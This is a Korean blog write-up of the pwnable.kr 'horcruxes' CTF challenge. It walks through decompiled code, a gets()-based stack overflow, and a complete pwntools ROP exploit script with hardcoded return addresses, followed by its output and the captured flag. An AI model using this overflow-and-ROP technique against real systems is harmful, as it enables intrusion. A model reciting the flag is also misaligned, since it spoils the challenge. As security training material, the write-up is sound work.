Toddler(horcruxes)Wargame & CTF/pwnableKR2023. 11. 27. 16:44
Table of Contents
문제
Voldemort concealed his splitted soul inside 7 horcruxes. Find all horcruxes, and ROP it! author: jiwon choi
ssh horcruxes@pwnable.kr -p2222 (pw:guest)
풀이
ROP 문제라고 대 놓고 문제에서 알려주네요 우선 바이너리를 가져와 IDA로 열어봅시다.
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // ST18_4@1
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
alarm(0x3Cu);
hint();
init_ABCDEFG();
v3 = seccomp_init(0);
seccomp_rule_add(v3, 2147418112, 173, 0);
seccomp_rule_add(v3, 2147418112, 5, 0);
seccomp_rule_add(v3, 2147418112, 3, 0);
seccomp_rule_add(v3, 2147418112, 4, 0);
seccomp_rule_add(v3, 2147418112, 252, 0);
seccomp_load(v3);
return ropme();
}
여기서 중요한 함수는 init_ABCDEFG()
함수와 rompe()
함수입니다.
unsigned int init_ABCDEFG()
{
int v0; // eax@4
unsigned int result; // eax@4
unsigned int buf; // [sp+8h] [bp-10h]@1
int fd; // [sp+Ch] [bp-Ch]@1
fd = open("/dev/urandom", 0);
if ( read(fd, &buf, 4u) != 4 )
{
puts("/dev/urandom error");
exit(0);
}
close(fd);
srand(buf);
a = 0xDEADBEEF * rand() % 0xCAFEBABE;
b = 0xDEADBEEF * rand() % 0xCAFEBABE;
c = 0xDEADBEEF * rand() % 0xCAFEBABE;
d = 0xDEADBEEF * rand() % 0xCAFEBABE;
e = 0xDEADBEEF * rand() % 0xCAFEBABE;
f = 0xDEADBEEF * rand() % 0xCAFEBABE;
v0 = rand();
g = 0xDEADBEEF * v0 % 0xCAFEBABE;
result = f + e + d + c + b + a + 0xDEADBEEF * v0 % 0xCAFEBABE;
sum = result;
return result;
urandom
을 시드로 a ~ g 변수를 각각 랜덤하게 생성합니다. result
변수에는 a ~ g 변수의 합이 저장됩니다. 이후 이 값은 rompe()
함수에서 사용합니다.
printf("Select Menu:");
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 == a )
{
A();
}
else if ( v2 == b )
{
B();
}
else if ( v2 == c )
{
C();
}
else if ( v2 == d )
{
D();
}
else if ( v2 == e )
{
E();
}
else if ( v2 == f )
{
F();
}
else if ( v2 == g )
{
G();
}
v2 == a 를 보고 0xa인줄 알고 괜한 삽질을 했습니다... 아무래도 전역변수 같습니다.
else
{
printf("How many EXP did you earned? : ");
gets(s);
if ( atoi(s) == sum )
{
fd = open("flag", 0);
s[read(fd, s, 0x64u)] = 0;
puts(s);
close(fd);
exit(0);
}
puts("You'd better get more experience to kill Voldemort");
}
return 0;
G까지 모두 틀리면 위의 루틴을 만나게 됩니다. gets
로 입력을 받고 그 값이 a~g 합과 같다면 플래그를 출력합니다. gets
함수를 사용하므로 ret
를 덮어서 A()
함수부터 G()
함수까지 차례대로 호출하여 EXP를 파싱하고 더한 후 rompe()
함수를 호출하여 값을 넣어주면 플래그를 출력할 것 같습니다.
from pwn import*
p = remote(0,9032)
print p.recvuntil("Select Menu:")
p.sendline("0")
print p.recvuntil("How many EXP did you earned? : ")
payload = "A"*120
payload += "\x4b\xfe\x09\x08" #a
payload += "\x6a\xfe\x09\x08" #b
payload += "\x89\xfe\x09\x08" #c
payload += "\xa8\xfe\x09\x08" #d
payload += "\xc7\xfe\x09\x08" #e
payload += "\xe6\xfe\x09\x08" #f
payload += "\x05\xff\x09\x08" #g
payload += "\xfc\xff\x09\x08" #rompe
p.sendline(payload)
sum = 0
for i in range(0, 7):
p.recvuntil('EXP +')
sum = sum + int(p.recvuntil(')')[:-1])
print sum
print p.recvuntil("Select Menu:")
p.sendline("0")
print p.recvuntil("How many EXP did you earned? : ")
p.sendline(str(sum))
print p.interactive()
horcruxes@ubuntu:/tmp$ python exp.py
[+] Opening connection to localhost on port 9032: Done
Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and destroy it!
Select Menu:
How many EXP did you earned? :
454574208
-549777161
-1673475767
-1085042747
349691327
777050481
-1270876098
Select Menu:
How many EXP did you earned? :
[*] Switching to interactive mode
Magic_spell_1s_4vad4_K3daVr4!
'Wargame & CTF > pwnableKR' 카테고리의 다른 글
Rookiss(brainfuck) (0) | 2023.11.27 |
---|---|
Toddler(bluekat) (0) | 2023.11.27 |
Toddler(ulink) (0) | 2023.11.27 |
Toddler(asm) (0) | 2023.11.27 |
Toddler(memcpy) (0) | 2023.11.27 |